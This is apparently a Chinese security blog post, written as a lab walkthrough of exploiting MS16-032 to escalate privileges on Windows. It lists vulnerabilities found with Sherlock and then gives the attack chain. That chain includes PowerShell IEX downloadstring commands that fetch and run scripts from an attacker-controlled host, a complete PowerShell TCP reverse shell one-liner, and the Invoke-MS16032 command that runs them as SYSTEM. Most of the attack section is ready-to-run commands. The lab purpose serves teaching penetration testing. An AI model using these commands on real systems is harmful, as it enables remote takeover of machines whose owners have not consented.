个人介绍:188号安全攻城狮 【甲方安全工程师/CISSP/培训讲师】
目前恶补相关安全知识中,欢迎各位一起技术探讨。
每一次评论/点赞,都将成为我继续分享的动力
MS16-032简介
该漏洞影响从Vista到Windows 10的所有Windows版本(包括服务器版本)。
- Windows Vista
- Windows 7
- Windows 8.1
- Windows 10
- Windows 2008 Server
- Windows 2012 Server
利用条件:
- 目标系统需要有2个以上的CPU核心 。
- PowerShell v2.0及更高版本必须正在运行。
可根据MS16-032(KB3139914)补丁是否安装,来判断当前版本是否可利用。
接下来让我们进行靶场实操,在这里已经省略掉低权限shell获取部分。
靶场实操
1. 提权漏洞枚举
通常,我们可以使用Watson来进行内核类提权漏洞的枚举,但其要求.net框架4.5及以上。当.net框架版本不满足要求时,可以采用其旧版本Sherlock。
在这里,我们先判断一下当前靶机的.net版本
cd C:\windows\microsoft.net\framework>
dir
如图所示,可以看到最高版本为4.0,所以在此我们选择Sherlock进行提权漏洞枚举。接下来,我们需要将Sherlock在远程服务器运行。在这里,我们先本地开启web服务,并放入Sherlock脚本。
python3 -m http.server 80
然后再已经获取到的低权限shell中,进行远程ps脚本下载&执行
# 远程加载模块
IEX(New-Object Net.WebClient).downloadstring('http://192.168.xxx.xxx/Sherlock.ps1')
# 查看当前可利用漏洞
Find-AllVulns
通过分析,有效信息如下,其中3个漏洞可利用(Appears Vulnerable状态)
Title : Secondary Logon Handle
MSBulletin : MS16-032
CVEID : 2016-0099
Link : https://www.exploit-db.com/exploits/39719/
VulnStatus : Appears Vulnerable
Title : Windows Kernel-Mode Drivers EoP
MSBulletin : MS16-034
CVEID : 2016-0093/94/95/96
Link : https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS1
6-034?
VulnStatus : Appears Vulnerable
Title : Win32k Elevation of Privilege
MSBulletin : MS16-135
CVEID : 2016-7255
Link : https://github.com/FuzzySecurity/PSKernel-Primitives/tree/master/S
ample-Exploits/MS16-135
VulnStatus : Appears Vulnerable
2. 提权尝试
在这里,我们使用Empire项目中的MS16032的exp:Invoke-MS16032.ps1。然后保存至我们web目录下。
通过该脚本,可以创建一个system权限的新进程。在这里,我们利该漏洞,来创建一个powershell的反弹shell。nishang项目中,进行反弹Shell的源码获取Invoke-PowerShellTcpOneLine.ps1,并将其保存至我们的Web目录下。
$client = New-Object System.Net.Sockets.TCPClient('192.168.xxx.xxx',8080);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
然后回到在低权限shell中运行如下命令,加载提权脚本,并运行我们的木马
# 加载提权脚本
IEX(New-Object Net.WebClient).downloadstring('http://192.168.xxx.xxx/Invoke-MS16032.ps1')
# 提权,创建新进程并执行反弹shell
Invoke-MS16032 -Command "IEX(New-Object Net.WebClient).downloadstring('http://192.168.xxx.xxx/Invoke-PowerShellTcpOneLine.ps1')"
3. 其他坑点
需要判断一下当前powershell执行环境,如下图所示,当前powershell环境非64位环境。会导致该提权脚本产生异常。
[Environment]::Is64BitProcess
我们可以通过运行指定目录下的powershell,来切换为64位Shell。如下图所示,可以在通过执行sysnative下的进程,实现切换Shell。
C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe